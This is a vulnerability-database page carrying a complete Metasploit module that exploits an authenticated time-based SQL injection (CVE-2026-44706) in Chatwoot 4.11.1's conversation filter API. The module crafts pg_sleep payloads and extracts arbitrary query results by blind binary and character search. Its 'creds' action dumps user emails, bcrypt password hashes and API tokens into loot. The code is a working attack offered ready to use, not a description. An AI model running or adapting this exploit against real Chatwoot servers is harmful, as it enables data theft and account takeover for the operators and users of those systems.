Lucene search
K

📄 Chatwoot 4.11.1 SQL Injection

🗓️ 10 Jun 2026 00:00:00Reported by indoushkaType 
packetstorm
 packetstorm
🔗 packetstorm.news👁 11 Views

Authenticated time-based SQL injection in Chatwoot 4.11.1 filter service leaks data and credentials.

Related
Code
ReporterTitlePublishedViews
Family
ATTACKERKB
CVE-2026-44706
26 May 202617:07
attackerkb
Circl
CVE-2026-44706
5 Jun 202614:32
circl
CNNVD
Chatwoot SQL注入漏洞
26 May 202600:00
cnnvd
CVE
CVE-2026-44706
26 May 202617:07
cve
Cvelist
CVE-2026-44706 Chatwoot: SQL Injection in Conversation/Contact Filter API via Custom Attribute Values
26 May 202617:07
cvelist
EUVD
EUVD-2026-31913
26 May 202617:07
euvd
NVD
CVE-2026-44706
26 May 202618:16
nvd
Positive Technologies
PT-2026-43348
26 May 202600:00
ptsecurity
RedhatCVE
CVE-2026-44706
5 Jun 202619:12
redhatcve
Vulnrichment
CVE-2026-44706 Chatwoot: SQL Injection in Conversation/Contact Filter API via Custom Attribute Values
26 May 202617:07
vulnrichment
Rows per page
==================================================================================================================================
    | # Title     : Chatwoot 4.11.1 FilterService SQL Injection Module for Authenticated Exposure Validation and Database Extraction |
    | # Author    : indoushka                                                                                                        |
    | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.4 (64 bits)                                                 |
    | # Vendor    : https://www.chatwoot.com                                                                                         |
    ==================================================================================================================================
    
    [+] Summary    :  module targets an authenticated SQL injection vulnerability in the conversation filtering functionality of Chatwoot instances up to version 4.11.1.
    
    
    [+] POC        :  
    
    ##
    # This module requires Metasploit: https://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    class MetasploitModule < Msf::Auxiliary
      include Msf::Exploit::Remote::HttpClient
      include Msf::Auxiliary::Report
    
      def initialize(info = {})
        super(
          update_info(
            info,
            'Name' => 'Chatwoot SQL Injection (CVE-CVE-2026-44706) - FilterService#lt_gt_filter',
            'Description' => %q{
              This module exploits a time-based SQL injection vulnerability in Chatwoot
              versions <= 4.11.1. The vulnerability exists in the conversation filter
              functionality, allowing an authenticated attacker to execute arbitrary
              SQL queries, extract sensitive data, and retrieve user credentials.
            },
            'Author' => ['indoushka'],
            'License' => MSF_LICENSE,
            'References' => [
              ['URL', 'https://hakaisecurity.io'],
              ['CVE', 'CVE-2026-44706'] 
            ],
            'DisclosureDate' => '2026-06-09',
            'Platform' => 'ruby',
            'Arch' => ARCH_CMD,
            'Targets' => [['Automatic', {}]],
            'DefaultTarget' => 0,
            'Notes' => {
              'Stability' => [CRASH_SAFE],
              'Reliability' => [REPEATABLE_SESSION],
              'SideEffects' => [IOC_IN_LOGS]
            }
          )
        )
    
        register_options([
          OptString.new('TARGETURI', [true, 'Base path for Chatwoot', '/']),
          OptString.new('API_TOKEN', [true, 'Chatwoot API access token', '']),
          OptInt.new('ACCOUNT_ID', [true, 'Target account ID', 1]),
          OptEnum.new('ACTION', [true, 'Action to perform', 'check', ['check', 'timebased', 'extract', 'creds']]),
          OptString.new('SQL_QUERY', [false, 'SQL query for extract mode', 'SELECT version()']),
          OptInt.new('MAX_LEN', [false, 'Maximum string length for extraction', 200]),
          OptInt.new('SLEEP_TIME', [false, 'Time in seconds for sleep-based injection', 2]),
          OptFloat.new('THRESHOLD', [false, 'Time threshold for detecting sleep (seconds)', 1.5])
        ])
      end
    
      def sleep_time
        datastore['SLEEP_TIME']
      end
    
      def threshold
        datastore['THRESHOLD']
      end
    
      def build_payload(injected_sql)
        value = "2024-01-01'::date #{injected_sql} 'epoch'::date > '2024-01-01"
        {
          'payload' => [
            {
              'attribute_key' => 'created_at',
              'filter_operator' => 'is_greater_than',
              'values' => [value],
              'query_operator' => nil
            }
          ]
        }
      end
    
      def send_filter_request(payload, timeout = 60)
        uri = normalize_uri(target_uri.path, "/api/v1/accounts/#{datastore['ACCOUNT_ID']}/conversations/filter")
        
        res = send_request_cgi(
          'method' => 'POST',
          'uri' => uri,
          'ctype' => 'application/json',
          'headers' => {
            'api_access_token' => datastore['API_TOKEN']
          },
          'data' => payload.to_json,
          'timeout' => timeout
        )
        
        res
      rescue ::Rex::ConnectionError, ::Rex::TimeoutError => e
        print_error("Request failed: #{e.message}")
        nil
      end
    
      def blind_check(condition)
        sqli = "AND (SELECT CASE WHEN (#{condition}) THEN pg_sleep(#{sleep_time}) ELSE pg_sleep(0) END)::text != 'x' OR"
        payload = build_payload(sqli)
        
        start_time = Time.now
        send_filter_request(payload, sleep_time + 30)
        elapsed = Time.now - start_time
        
        elapsed >= threshold
      end
    
      def extract_int(expression, low = 0, high = 10000)
        while low <= high
          mid = (low + high) / 2
          
          if blind_check("(#{expression}) = #{mid}")
            return mid
          elsif blind_check("(#{expression}) > #{mid}")
            low = mid + 1
          else
            high = mid - 1
          end
        end
        nil
      end
    
      def extract_string(expression, max_len = 200, charset = nil)
        charset ||= (('a'..'z').to_a + ('A'..'Z').to_a + ('0'..'9').to_a + 
                     ['@', '.', '_', '-', ':', '$', '/', ' ', '!', '#', '%', '^', '&', '*',
                      '(', ')', '+', '=', '[', ']', '{', '}', '|', ';', "'", ',', '<', '>',
                      '?', '~', '`', '"', '\\'])
        
        length = extract_int("length((#{expression})::text)", 0, max_len)
        return '' unless length
        
        print_status("Extracting #{length} characters...")
        
        result = ''
        (1..length).each do |pos|
          found = false
          charset.each do |ch|
            esc = ch.gsub("'", "''")
            condition = "substring((#{expression})::text,#{pos},1) = '#{esc}'"
            
            if blind_check(condition)
              result << ch
              print(ch)
              found = true
              break
            end
          end
          
          result << '?' unless found
          print('?') unless found
        end
        
        print_line
        result
      end
    
      def check_vulnerability
        print_status("Checking vulnerability with OR TRUE bypass...")
        normal_payload = {
          'payload' => [
            {
              'attribute_key' => 'created_at',
              'filter_operator' => 'is_greater_than',
              'values' => ['2099-01-01'],
              'query_operator' => nil
            }
          ]
        }
        
        normal_res = send_filter_request(normal_payload)
        return false unless normal_res&.code == 200
        normal_count = JSON.parse(normal_res.body).dig('meta', 'all_count') || 0
        malicious_res = send_filter_request(build_payload('OR TRUE OR'))
        return false unless malicious_res&.code == 200
        malicious_count = JSON.parse(malicious_res.body).dig('meta', 'all_count') || 0
        
        print_status("Normal count: #{normal_count} | Malicious count: #{malicious_count}")
        
        if malicious_count > normal_count
          print_good("SQL injection confirmed!")
          return true
        else
          print_error("Inconclusive - target may not be vulnerable")
          return false
        end
      end
    
      def timebased_test
        print_status("Testing time-based injection...")
        start_time = Time.now
        send_filter_request(build_payload("AND (SELECT pg_sleep(0))::text != 'x' OR"))
        base_time = Time.now - start_time
        print_status("Baseline time: #{'%.2f' % base_time}s")
        start_time = Time.now
        send_filter_request(build_payload("AND (SELECT pg_sleep(3))::text != 'x' OR"))
        sleep_time_actual = Time.now - start_time
        print_status("Sleep(3) time: #{'%.2f' % sleep_time_actual}s")
        
        delta = sleep_time_actual - base_time
        print_status("Delta: #{'%.2f' % delta}s")
        
        if delta >= 2.5
          print_good("Time-based injection confirmed!")
        else
          print_error("Time-based injection may not be exploitable")
        end
      end
    
      def extract_data
        query = datastore['SQL_QUERY']
        max_len = datastore['MAX_LEN']
        
        print_status("Extracting: #{query}")
        result = extract_string(query, max_len)
        
        if result.present?
          print_good("Result: #{result}")
          store_loot('chatwoot_sql_extract', 'text/plain', rhost, result, 'sql_extract.txt', "Extracted SQL query result")
        else
          print_error("Extraction failed")
        end
      end
    
      def extract_credentials
        print_status("Extracting user credentials...")
        print_status("Counting users...")
        user_count = extract_int("SELECT count(*) FROM users", 0, 100)
        
        unless user_count && user_count > 0
          print_error("Could not determine user count")
          return
        end
        
        print_good("Found #{user_count} user(s)")
        
        creds = []
        hc_charset = ('a'..'z').to_a + ('0'..'9').to_a + ['$', '2', 'a', 'b', '1', '0', '.', '/'] + ('A'..'Z').to_a
        ec_charset = ('a'..'z').to_a + ('0'..'9').to_a + ['@', '.', '_', '-', '+'] + ('A'..'Z').to_a
        
        (0...user_count).each do |i|
          print_status("Processing user #{i + 1}/#{user_count}")
          
          uid = extract_int("SELECT id FROM users ORDER BY id LIMIT 1 OFFSET #{i}", 1, 100000)
          next unless uid
          
          print_status("  ID: #{uid}")
          
          email = extract_string("SELECT email FROM users WHERE id=#{uid}", 100, ec_charset)
          password_hash = extract_string("SELECT encrypted_password FROM users WHERE id=#{uid}", 60, hc_charset)
          token = extract_string("SELECT token FROM access_tokens WHERE owner_type='User' AND owner_id=#{uid} LIMIT 1", 30)
          
          creds << {
            id: uid,
            email: email,
            hash: password_hash,
            token: token
          }
          
          print_good("  Email: #{email}") if email.present?
          print_good("  Hash: #{password_hash}") if password_hash.present?
          print_good("  Token: #{token}") if token.present?
        end
        creds.each do |cred|
          report_cred(
            user: cred[:email],
            hash: cred[:hash],
            private_type: :nonreplayable_hash,
            private_data: cred[:hash],
            jtr_format: 'bcrypt'
          ) if cred[:hash].present?
          
          report_cred(
            user: cred[:email],
            private_type: :password,
            private_data: cred[:token]
          ) if cred[:token].present?
        end
        loot_data = JSON.pretty_generate(creds)
        store_loot('chatwoot_credentials', 'application/json', rhost, loot_data, 'chatwoot_creds.json', 'Extracted credentials')
        print_good("Credentials saved to loot")
      end
      
      def report_cred(opts = {})
        return unless opts[:user].present? && opts[:private_data].present?
        
        credential_data = {
          origin_type: :service,
          module_fullname: fullname,
          username: opts[:user],
          private_data: opts[:private_data],
          private_type: opts[:private_type] || :password,
          workspace_id: myworkspace.id,
          address: rhost,
          port: rport,
          service_name: 'chatwoot',
          protocol: 'tcp'
        }
        create_credential(credential_data)
      rescue => e
        print_error("Failed to report credential: #{e.message}")
      end
    
      def run
        unless datastore['API_TOKEN'].present?
          print_error("API_TOKEN is required")
          return
        end
        print_status("Verifying authentication...")
        res = send_request_cgi(
          'method' => 'GET',
          'uri' => normalize_uri(target_uri.path, '/api/v1/profile'),
          'headers' => { 'api_access_token' => datastore['API_TOKEN'] }
        )
        
        unless res && res.code == 200
          print_error("Authentication failed - invalid token or URL")
          return
        end
        begin
          profile = JSON.parse(res.body)
          print_good("Authenticated as: #{profile['name']} (#{profile['email']}) - Account ID: #{datastore['ACCOUNT_ID']}")
        rescue
          print_status("Authentication successful")
        end
        case datastore['ACTION']
        when 'check'
          check_vulnerability
        when 'timebased'
          timebased_test
        when 'extract'
          extract_data
        when 'creds'
          extract_credentials
        end
      end
    end
    
    Greetings to :==============================================================================
    jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
    ============================================================================================

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

10 Jun 2026 00:00Current
5.6Medium risk
Vulners AI Score5.6
CVSS 3.18.5
EPSS0.00029
SSVC
11